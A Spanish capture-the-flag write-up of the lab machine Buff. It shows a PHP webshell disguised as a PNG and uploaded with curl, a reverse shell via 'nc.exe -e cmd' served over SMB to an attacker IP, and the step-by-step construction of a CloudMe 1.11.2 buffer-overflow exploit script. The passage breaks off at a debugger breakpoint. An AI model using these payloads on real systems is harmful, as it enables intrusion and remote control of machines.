Buff
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Buff corre Gym Management Software 1.0 en el 8080, con un upload sin autenticar que permite colar una webshell PHP camuflada de PNG y ejecutar comandos comoshaun. Pararoot, winPEAS encuentra CloudMe 1.11.2 corriendo solo en127.0.0.1:8888; es vulnerable a un desbordamiento de búfer de pila clásico. En vez de lanzar el exploit público, lo reconstruimos entero (offset, bad chars,jmp ESPy shellcode) sobre una copia del servicio montada en un Windows 7 de laboratorio, y como el servicio de la víctima escucha en loopback montamos un túnel con chisel para alcanzarlo. Al dispararlo,NT AUTHORITY\SYSTEM.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.10.198
PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=7 ttl=127 time=115 ms
^C
--- 10.10.10.198 ping statistics ---
7 packets transmitted, 1 received, 85.7143% packet loss, time 6127ms
rtt min/avg/max/mdev = 114.724/114.724/114.724/0.000 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que un 127 equivale a un salto intermedio (la VPN); indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. La pérdida del 85% de los paquetes es normal en estos laboratorios, que responden con cuentagotas al ICMP.
Escaneo de puertos
Primero el barrido completo de los 65535 puertos (escaneo de puertos). Va dentro de una función jmap definida en el .zshrc, que solo pide la IP y ya aplica las opciones de siempre:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.198 -oG scan
Discovered open port 7680/tcp on 10.10.10.198
Discovered open port 8080/tcp on 10.10.10.198
...
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
7680/tcp open pando-pub syn-ack ttl 127
8080/tcp open http-proxy syn-ack ttl 127De 65535 puertos solo dos responden, y el resto sale como filtered (sin respuesta), que es la firma habitual de un cortafuegos de Windows descartando en silencio.
Para no teclear esos puertos a mano en el siguiente comando, otra función del .zshrc, extractPorts, los saca del fichero scan y los deja en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.198
Open ports: 7680,8080
Ports copied to clipboard
IP Address: 10.10.10.198
Open ports: 7680,8080Sobre esos dos lanzamos el escaneo dirigido de versiones:
nmap -sCV -Pn -p7608,8080 10.10.10.198
PORT STATE SERVICE VERSION
7608/tcp filtered unknown
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTIONOjo al detalle, porque explica una salida que si no despista: el puerto se tecleó como 7608 en vez de 7680, y por eso aparece como filtered. No cambia nada del ataque (el 7680 real es pando-pub, el servicio de Delivery Optimization de Windows, que no ofrece superficie), pero conviene cotejar siempre los puertos del escaneo dirigido con los del completo.
TCP 8080 - Gym Management Software 1.0
Antes de fuzzear conviene saber con qué se está hablando, así que identificamos la pila:
whatweb 10.10.10.198:8080
http://10.10.10.198:8080 [200 OK] Apache[2.4.43], Bootstrap, Cookies[sec_session_id], Frame, HTML5,
HTTPServer[Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6], HttpOnly[sec_session_id], IP[10.10.10.198],
JQuery[1.11.0,1.9.1], OpenSSL[1.1.1g], PHP[7.4.6], PasswordField[password], Shopify,
Title[mrb3n's Bro Hut], Vimeo, X-Powered-By[PHP/7.4.6], X-UA-Compatible[IE=edge]Wappalyzer no añade nada de servidor, solo el maquillaje del frontal, y esa ausencia también informa: no hay framework detectable por firmas, así que el sitio es PHP a pelo.

CDN Google Hosted Libraries, jQuery CDN
JavaScript libraries jQuery 1.11.0, jQuery UI 1.10.4
UI frameworks BootstrapEl código fuente de la portada confirma lo mismo y no esconde nada: solo plantilla Bootstrap, hojas de estilo locales en boot/css/ y el título mrb3n's Bro Hut. Ni comentarios olvidados ni rutas internas.

<title>mrb3n's Bro Hut</title>
<!-- Bootstrap core CSS -->
<link href="boot/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="boot/css/main.css" rel="stylesheet">
<link href="http://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css" text="text/css" rel="stylesheet">PHP confirmado, que es lo que decide las extensiones del siguiente paso (descubrimiento de contenido):
dirsearch -u http://10.10.10.198:8080/ --exclude-status=403,404
[20:38:16] 200 - 5KB - /about.php
[20:38:34] 200 - 2KB - /cgi-bin/printenv.pl
[20:38:37] 200 - 4KB - /contact.php
[20:38:42] 200 - 4KB - /edit.php
[20:38:46] 200 - 4KB - /feedback.php
[20:38:47] 200 - 143B - /home.php
[20:39:07] 301 - 345B - /profile -> http://10.10.10.198:8080/profile/
[20:39:10] 200 - 137B - /register.php
[20:39:20] 301 - 344B - /upload -> http://10.10.10.198:8080/upload/
[20:39:21] 200 - 107B - /upload.phpUn segundo barrido con gobuster y un diccionario distinto sirve de contraste, para descartar que dirsearch se dejara algo por el camino:
gobuster dir -u http://10.10.10.198:8080/ -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/profile (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/profile/]
/img (Status: 301) [Size: 341] [--> http://10.10.10.198:8080/img/]
/upload (Status: 301) [Size: 344] [--> http://10.10.10.198:8080/upload/]
/license (Status: 200) [Size: 18025]
/examples (Status: 503) [Size: 1058]
/include (Status: 301) [Size: 345] [--> http://10.10.10.198:8080/include/]
/phpmyadmin (Status: 403) [Size: 1203]
[ERROR] Get "http://10.10.10.198:8080/warez": context deadline exceeded (Client.Timeout exceeded while awaiting headers)Los [ERROR] de timeout son ruido del propio servidor, que no aguanta 100 hilos, y no ocultan nada: gobuster llega a los mismos tres directorios propios. Dos rutas destacan sobre el resto: /upload.php y el directorio /upload/ al que escribe. Un formulario de subida que además deja navegar el destino es el patrón exacto de una subida a RCE, así que ahí se concentra el esfuerzo. Y el contact.php cierra la identificación: el pie de página delata Gym Management Software 1.0.

Shell como shaun
Gym Management 1.0: file upload no autenticado
searchsploit confirma un exploit de subida de fichero a RCE sin autenticación para esa versión exacta:
searchsploit "Gym Management"
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.pyAntes de usarlo hay que leerlo, que es de donde sale toda la técnica que viene después. searchsploit -m lo copia al directorio de trabajo:
searchsploit -m php/webapps/48506.py
cat 48506.py
# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-21
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Details:
# 1. Access the '/upload.php' page, as it does not check for an authenticated user session.
# 2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
# - `upload.php?id=kamehameha`
# 3. Bypass the extension whitelist by adding a double extension, with the last one as an
# acceptable extension (png).
# 5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
# 6 $extension = @end(explode(".", $_FILES["file"]["name"]));
# 14 && in_array($extension, $allowedExts))
# 4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to
# 'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
# 5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
# <?php echo shell_exec($_GET["telepathy"]); ?>
# 6. The Web Application will rename the file to have the extension with the second item in an
# array created from the file name; seperated by the '.' character.Esa cabecera es el mapa completo: el fallo no es uno sino tres encadenados. El $allowedExts mira solo la última extensión, el Content-Type lo pone el cliente, y el renombrado se queda con el segundo elemento del nombre partido por puntos, que es lo que convierte pwned.php.png en pwned.php.
Antes del multipart conviene mirar la otra mitad del script, la que se usa después de subir el fichero, porque explica el paso siguiente:

def webshell(SERVER_URL, session):
WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
...
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
print(response2)
UPLOAD_DIR = 'upload.php?id=kamehameha'De ahí salen tres datos que valen más que el exploit entero. El webshell acaba en upload/<nombre>.php (la ruta donde aterriza el fichero), los comandos viajan por GET en el parámetro telepathy (el mismo nombre que aparecía en el shell_exec de la cabecera), y el echo %CD% inicial es solo una prueba de vida para confirmar que la shell responde antes de entrar al bucle. El propio UPLOAD_DIR confirma que el id de la subida es el que bautiza el fichero.
El cuerpo del exploit enseña cómo se materializa la subida: antepone los magic bytes de PNG al PHP y manda el conjunto con Content-Type: image/png.

PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png = {
'file':
(
'kaio-ken.php.png',
PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)Con la técnica entendida no hace falta ejecutar el exploit tal cual: se reproduce a mano, que además deja ver cada pieza. Primero el fichero, con los magic bytes de un PNG delante del one-liner:
(echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'; echo '<?php echo shell_exec($_GET["cmd"]); ?>') > pwned.php.png
file pwned.php.png
xxd pwned.php.png
pwned.php.png: data
00000000: 8950 4e47 0d0a 1a0a 3c3f 7068 7020 6563 .PNG....<?php ec
00000010: 686f 2073 6865 6c6c 5f65 7865 6328 245f ho shell_exec($_
00000020: 4745 545b 2263 6d64 225d 293b 203f 3e0a GET["cmd"]); ?>.El xxd enseña por qué funciona: los ocho primeros bytes son la firma de un PNG (89 50 4E 47, es decir .PNG), que es lo que mira la validación del servidor, y justo detrás va el PHP en claro. file lo reporta como data en vez de como imagen porque el resto del fichero no es un PNG válido, pero al uploader le basta con la cabecera.
La subida replica el multipart del exploit, con el Content-Type falseado y el pupload=upload que espera la aplicación:
curl -X POST "http://10.10.10.198:8080/upload.php?id=pwned" \
-F "file=@pwned.php.png;type=image/png" \
-F "pupload=upload"
El servidor no devuelve nada por pantalla, pero el id=pwned decide el nombre y el renombrado del paso 6 deja la webshell en /upload/pwned.php, que ya ejecuta comandos vía el parámetro cmd:
curl "http://10.10.10.198:8080/upload/pwned.php?cmd=whoami"
curl "http://10.10.10.198:8080/upload/pwned.php?cmd=ipconfig"
GET /upload/pwned.php?cmd=whoami -> buff\shaunDe webshell a reverse shell
La webshell es incómoda (un comando por petición, sin estado), así que la convertimos en shell interactiva. En Windows el camino corto es un nc.exe, y no hace falta descargarlo: ya viene con Kali y con SecLists, así que basta localizarlo y traerlo al directorio de trabajo. En lugar de servirlo por HTTP lo publicamos por SMB, porque así la víctima puede ejecutarlo directamente desde el recurso compartido, sin escribirlo antes en disco:
find / -name nc.exe 2>/dev/null
mv /home/krmena/machines/bounty/exploits/nc.exe .
smbserver.py smbFolder $(pwd) -smb2support
/home/krmena/machines/arctic/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/netcat/nc.exe
/home/krmena/machines/bounty/exploits/nc.exe
/home/krmena/machines/blue/exploits/netcat/nc.exe
/home/krmena/machines/blue/exploits/nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0La llamada se lanza desde la propia barra del navegador, apuntando el cmd a la ruta UNC del recurso:

http://10.10.10.198:8080/upload/pwned.php?cmd=\\10.10.16.2\smbFolder\nc.exe -e cmd 10.10.16.2 4444La página solo devuelve el ?PNG de la cabecera falsa, porque nc.exe no escribe nada en la salida estándar del navegador: toda su actividad se va por el socket. Y ahí está la shell:
smbserver.py smbFolder $(pwd) -smb2support
rlwrap nc -nlvp 4444
whoami /priv
[*] Incoming connection (10.10.10.198,49761)
[*] AUTHENTICATE_MESSAGE (BUFF\shaun,BUFF)
[*] User BUFF\shaun authenticated successfully
[*] shaun::BUFF:aaaaaaaaaaaaaaaa:6784dd9b9b68d5d3f0143b40fc679933:0101000000000000...
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.198] 49762
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\gym\upload>whoami /priv
PRIVILEGES INFORMATION
Privilege Name Description State
============================= ================================ ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone DisabledTres regalos en una sola captura. El servidor SMB captura de paso el NetNTLMv2 de shaun (aquí no hace falta, pero en otro escenario sería un vector de crackeo). La ruta de la shell, C:\xampp\htdocs\gym\upload, confirma que detrás hay un XAMPP. Y el whoami /priv cierra una vía antes de abrirla: el único privilegio habilitado es SeChangeNotifyPrivilege, que lo tiene cualquier usuario, así que no hay ningún potato ni abuso de token por aquí; la escalada tendrá que venir del software instalado.
Con la shell ya interactiva, leemos la primera flag:
C:\Users> type shaun\Desktop\user.txt
cee7d793af9fc5f8606f07357995a48c
Shell como SYSTEM
winPEAS: CloudMe 1.11.2 en loopback
Si la escalada no viene de privilegios, viene de lo que hay instalado, y para eso está winPEAS (repo). Se descarga de la página de releases del proyecto, eligiendo la variante que encaja con la arquitectura de la víctima:

winPEAS.bat 23756ec27a0707efe429caa1c0... 36.1 KB
winPEASany.exe 33acad498d85e29cd6592b97ae... 9.69 MB
winPEASany_ofs.exe 87c6100f3f20f35421d88bda7f... 9.55 MB
winPEASx64.exe 8fae0a4273fc5f173c94830d63... 9.69 MBSe mueve al directorio de trabajo y se sirve desde el atacante con un http.server:
mv /home/krmena/Downloads/winPEASx64.exe .
python3 -m http.server 80
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Por el camino se renombra a winPEAS.exe, que es el nombre con el que se descarga a continuación. En la víctima se baja con curl, que ya viene de serie en Windows 10:
curl http://10.10.16.2/winPEAS.exe -o winPEAS.exe
dir
C:\Windows\Temp\content>curl http://10.10.16.2/winPEAS.exe -o winPEAS.exe
% Total % Received % Xferd Average Speed Time Time Time Current
100 9918k 100 9918k 0 0 3306k 0 0:00:03 0:00:03 --:--:-- 2518k
Directory of C:\Windows\Temp\content
02/09/2025 16:36 10,156,032 winPEAS.exeY se ejecuta:
winPEAS.exe
C:\Windows\Temp\content>winPEAS.exe
[!] If you want to run the file analysis checks (search sensitive information in files), you need to
specify the 'fileanalysis' or 'all' argument.
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the
host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1'
WinPEAS-ng by @hacktricks_liveEntre todo el volcado, la sección de ejecutables en carpetas no estándar con permiso de escritura destaca un nombre que no pinta nada en un servidor: CloudMe_1112.exe en el Downloads de shaun.

Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
File Permissions "C:\Users\shaun\Downloads\CloudMe_1112.exe": shaun [Allow: AllAccess]El nombre no dice nada por sí solo, así que el primer paso es averiguar qué es:

CloudMe is a European cloud storage and file synchronization service that allows users to store,
access, and share files across various devices, including computers, smartphones, and smart TVs.Un cliente de sincronización levanta un servicio local, así que la siguiente pregunta es en qué puerto:

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8) In Qt5Core: 00564DF1.
Exploit DB · CloudMe Sync < 1.11.0 - Buffer OverflowEl propio buscador ya adelanta que ese puerto tiene historial de desbordamientos. Lo comprobamos en la víctima:
netstat -nat
Proto Local Address Foreign Address State
TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING
TCP 127.0.0.1:3306 0.0.0.0:0 LISTENING
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENINGAhí está la explicación de por qué el escaneo externo solo veía dos puertos: el 8888 escucha en 127.0.0.1, no en 0.0.0.0. Solo se llega desde la propia máquina. Con el servicio y la versión identificados, searchsploit remata:
searchsploit cloudme
Exploit Title | Path
----------------------------------------------- | ---------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.pyTodos son desbordamientos. El primero, el más simple, ya trae los números hechos:

# Exploit Author: Andy Bowden
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86
#Instructions:
# Start the CloudMe service and run the script.
target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30
#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload = b"\xba\xad\x1e\x1c\x7c\x02\xdb\xcf\xd9\x74\x24\xf4..."Ahí está todo lo que hay que reconstruir: el offset de 1052 bytes, una dirección que redirige la ejecución a la pila y una carga útil. Este exploit no se va a usar. El interés de Buff es justo el contrario: desarrollarlo desde cero, que es lo que se pide en un OSCP, y quedarse con el proceso. El PoC servirá solo como control, para contrastar al final los números obtenidos.
Laboratorio local: replicar el servicio
Reventar un servicio a base de patrones y depurador contra la máquina de producción es mala idea: cada intento fallido lo tumba y hay que esperar a que alguien lo levante. Lo suyo es montar una copia. El instalador se baja de la web del fabricante, y la versión exacta (CloudMe_1112.exe) sigue accesible cambiando el número en la URL de descarga, aunque la web ya ofrezca la 1.11.7:

https://www.cloudme.com/downloads/CloudMe_1112.exe
CloudMe_1112.exe Completed - 17.0 MBSe instala en un Windows 7 de laboratorio (donde ya está Immunity Debugger), y aparece el primer obstáculo: el cliente no arranca el servicio hasta que hay una sesión iniciada.

CloudMe Sync
Conéctate a tu cuenta
Nombre de usuario / Contraseña
Regístrese para obtener una cuenta gratuitaEl registro desde la propia aplicación falla, así que se hace desde la web, con un correo de usar y tirar de temp-mail:

Sign up for a free account
Desired username : kmn9
Email : tiyaxay461@besaies.com
Country : SpainCon esas credenciales ya se puede entrar desde la aplicación (el usuario acabó siendo kmn99, porque el kmn9 del formulario estaba cogido):

Conéctate con tu cuenta
Nombre de usuario : kmn99
Contraseña : ********La aplicación entra y el servicio queda arriba:

1 carpeta(s) activa sincronizados y actualizados con este ordenadorEl puerto aparece donde se esperaba, y con la misma limitación que en la víctima real:
netstat -natp TCP
Proto Dirección local Dirección remota Estado
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENINGConfirmado desde el atacante: el 8888 del laboratorio tampoco se ve desde fuera.
nmap -sS -Pn --min-rate 5000 -p8888 --open -n -vvv 192.168.1.203
Completed SYN Stealth Scan at 20:17, 0.02s elapsed (1 total ports)
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (68B)Sin tabla PORT, es decir, sin nada abierto: el --open filtró el único puerto pedido. Ese es exactamente el problema que habrá que resolver también contra la víctima real, así que conviene resolverlo ya aquí, con chisel (repo). Antes de descargarlo hay que saber la arquitectura del Windows de laboratorio:
wmic os get osarchitecture
C:\Users\usuario>wmic os get osarchitecture
OSArchitecture
32 bits32 bits, así que toca la compilación windows_386. Viene comprimida en .gz, formato que Windows no abre de serie, de ahí el rodeo por 7-Zip:

Download 7-Zip 25.01 (2025-08-03) for Windows:
.exe 32-bit Windows x86 7-Zip installer for Windows
7-Zip 25.01 is installed
C:\Users\usuario\Desktop\chisel_1.7.7_windows_386.gz\
Nombre Tamaño Tamaño comp. Modificado
chisel.exe 7 352 320 3 101 970 2022-01-31 04:35El servidor se levanta en el atacante y el cliente en el laboratorio, pidiendo que el 8888 de allí salga por nuestro 8888:
chisel server --reverse -p 1234
2025/09/02 20:23:42 server: Reverse tunnelling enabled
2025/09/02 20:23:42 server: Fingerprint iD1iDiORm1E3/2VlZiN+jMzSaJnJ/zm57mzXfYhv2rw=
2025/09/02 20:23:42 server: Listening on http://0.0.0.0:1234chisel.exe client 192.168.1.80:1234 R:8888
C:\Users\usuario\Desktop>chisel.exe client 192.168.1.80:1234 R:8888
2025/09/02 20:30:22 client: Connecting to ws://192.168.1.80:1234
2025/09/02 20:30:22 client: Connected (Latency 0s)
2025/09/02 20:29:50 server: session#1: Client version (1.7.7) differs from server version (1.10.1-0kali1)
2025/09/02 20:29:50 server: session#1: tun: proxy#R:8888=>8888: Listening
2025/09/02 20:29:59 server: session#2: tun: proxy#R:8888=>8888: ListeningEl aviso de versiones distintas es cosmético: el túnel funciona igual. La prueba es repetir el escaneo, esta vez contra nuestro propio localhost:
nmap -sS -Pn -p8888 --open -n -vvv localhost
Discovered open port 8888/tcp on 127.0.0.1
PORT STATE SERVICE REASON
8888/tcp open sun-answerbook syn-ack ttl 64Ya se puede hablar con CloudMe como si fuese local.
Offset: dónde cae el EIP
El primer dato que hace falta es cuántos bytes hay que enviar para que el siguiente valor caiga justo encima del EIP, el registro que guarda la dirección de la próxima instrucción. Si en vez de mandar 2000 letras iguales mandamos un patrón que nunca se repite, la porción que acabe en el EIP dirá por sí sola en qué posición estaba:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1...Con el patrón listo, se arranca CloudMe en el laboratorio y se engancha Immunity Debugger a su proceso, para ver los registros en el momento del fallo:

Select process to attach
PID Name Window
...
892 CloudMe CloudMe SyncEl envío no necesita ningún exploit todavía, basta pegar el patrón en un netcat contra el puerto tunelizado:
nc 127.0.0.1 8888
El programa se cae, y el depurador enseña el resultado:

EAX 00000001
ESP 0022AB50 ASCII "Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5..."
EIP 316A4230El EIP se ha sobrescrito con cuatro bytes del patrón, 316A4230. Devolviendo ese valor a la herramienta hermana sale la posición exacta:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x316A4230
[*] Exact match at offset 10521052 bytes, el mismo número que traía el PoC público. Pero un número heredado no vale: se verifica mandando exactamente 1052 A y cuatro B, y comprobando que las B caen donde deben.
for i in {1..1052}; do echo -n "A"; done; echo "BBBB"
nc 127.0.0.1 8888

EBX 41414141
ESP 0022D470
EBP 41414141
ESI 41414141
EIP 4242424241 es la A y 42 es la B en hexadecimal, así que el relleno ocupa todo lo anterior y el EIP queda íntegramente en nuestras manos. Para que no quede duda de la equivalencia:
echo -n "42424242" | xxd -r -p
BBBBConfirmado: control total del EIP a partir del byte 1052. Y el ESP (0022D470) apunta a lo que venga detrás, que es donde irá el shellcode.
Bad chars: qué bytes se comen por el camino
Antes de generar carga útil hay que saber qué bytes sobreviven al viaje. Algunos (el nulo \x00, el salto de línea \x0a, el retorno \x0d) suelen ser interpretados como fin de cadena por el propio programa y truncan el payload. La forma de averiguarlo es enviar los 256 posibles y comparar en memoria byte a byte, lo que hace el plugin mona de Immunity. Primero se le indica dónde escribir:
!mona config -set workingfolder C:\Users\usuario\Downloads\Analysis
!mona config -set workingfolder C:\Users\usuario\Downloads\AnalysisY se genera la tabla de referencia:
!mona bytearray
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\Users\usuario\Downloads\Analysis\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f..."
Done, wrote 256 bytes to file C:\Users\usuario\Downloads\Analysis\bytearray.binLos dos ficheros hay que traerlos al atacante, y el mismo smbserver.py de antes sirve para eso, esta vez en el sentido contrario:
smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
Red > 192.168.1.80 > smbfolder
bytearray.bin 03/09/2025 16:30 Archivo BIN 1 KB
bytearray 03/09/2025 16:30 Documento de tex... 2 KB
exploit 02/09/2025 20:07 Python File 1 KB
[*] Incoming connection (192.168.1.203,49733)
[*] AUTHENTICATE_MESSAGE (WIN-L3DIH73AS4R\usuario,WIN-L3DIH73AS4R)
[*] User WIN-L3DIH73AS4R\usuario authenticated successfully
[*] Connecting Share(2:smbfolder)
# ls
bytearray.bin bytearray.txt exploit.pyEl .txt trae los 256 bytes ya formateados para pegarlos en un script de Python:
cat bytearray.txt | tail -n 11
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
...
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"A partir de aquí el envío deja de hacerse a mano: un script corto automatiza el relleno, el EIP y el bloque de bytes.
cat exploit.py
python3 exploit.py
#!/usr/bin/python3
import socket, signal, sys
def def_handler(sig, frame):
print("\n\n[!]Saliendo...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"B"*4
badchars = (b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f..."
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = before_eip + eip + badchars
def makeConnection():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, 8888))
s.send(payload)
if __name__ == '__main__':
makeConnection()Tras el envío, se localiza en el depurador dónde han caído esos 256 bytes. El botón derecho sobre el ESP y Follow in Dump lleva el volcado justo al principio del bloque:

0022D470 00 01 02 03 04 05 06 07
0022D478 08 09 0A 0B 0C 0D 0E 0F
0022D480 10 11 12 13 14 15 16 17Esa dirección es la que se le pasa a mona para comparar la memoria con el fichero original:
!mona compare -a 0x0022D470 -f C:\Users\usuario\Downloads\Analysis\bytearray.bin
mona Memory comparison results
Address Status BadChars Type
0x0022d470 Unmodified normalUnmodified y la columna de bad chars vacía: ningún byte se altera por el camino. Aun así, el \x00 se excluirá al generar el shellcode, porque es el terminador de cadena de C y da problemas en cuanto interviene cualquier función de copia.
Redirigir el flujo: jmp ESP
Ya se controla el EIP y se sabe que el shellcode irá a parar donde apunta el ESP. Falta unir las dos cosas, y no vale poner directamente la dirección del ESP: cambia en cada ejecución. La solución clásica es buscar en la memoria del proceso una instrucción jmp ESP ya existente y apuntar el EIP a ella; sea cual sea el valor del ESP en ese momento, el salto irá a donde toca.
Esa instrucción tiene que vivir en un módulo sin protecciones: si tiene ASLR o Rebase, su dirección cambia entre arranques y el exploit deja de ser fiable. !mona modules las lista todas con sus banderas:
!mona modules
0x6a80000 | 0x6905000 | False False False False False False | 5.9.0.0 [Qt5Core.dll]
(C:\Users\usuario\AppData\Local\Programs\CloudMe\Qt5Core.dll)
0x6770000 | 0x7716000 | True True True True True True | 7.0.7600.16385 [msvcrt.dll]
(C:\Windows\system32\msvcrt.dll)El patrón salta a la vista: las DLL del sistema van con todo activado y las que trae CloudMe con todo desactivado. Son las suyas las que sirven. Sobre una de ellas, qsqlite.dll, se buscan los opcodes de jmp ESP, que en x86 son siempre los dos bytes \xff\xe4:
!mona find -s "\xff\xe4" -m qsqlite.dll
[+] Results :
6D619117 0x6d619117 : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll] ASLR: False, Rebase: False, SafeSEH: False
6D62129B 0x6d62129b : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll] ASLR: False, Rebase: False, SafeSEH: False
6D62341B 0x6d62341b : "\xff\xe4" | asciiprint,ascii {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll]
6D629E17 0x6d629e17 : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll]
Found a total of 4 pointersCuatro candidatos, todos con permiso de ejecución (PAGE_EXECUTE_*), que es imprescindible: sin él la CPU se niega a ejecutar lo que haya ahí. Nos quedamos con el primero, 0x6d619117. Como x86 es little endian, en el exploit se escribe con los bytes al revés: \x17\x91\x61\x6d.
Antes de confiar en él conviene ponerle un breakpoint, para ver si la ejecución llega de verdad hasta esa instrucción. Se navega a la dirección con Ctrl+G:

Enter expression to follow
0x6d619117
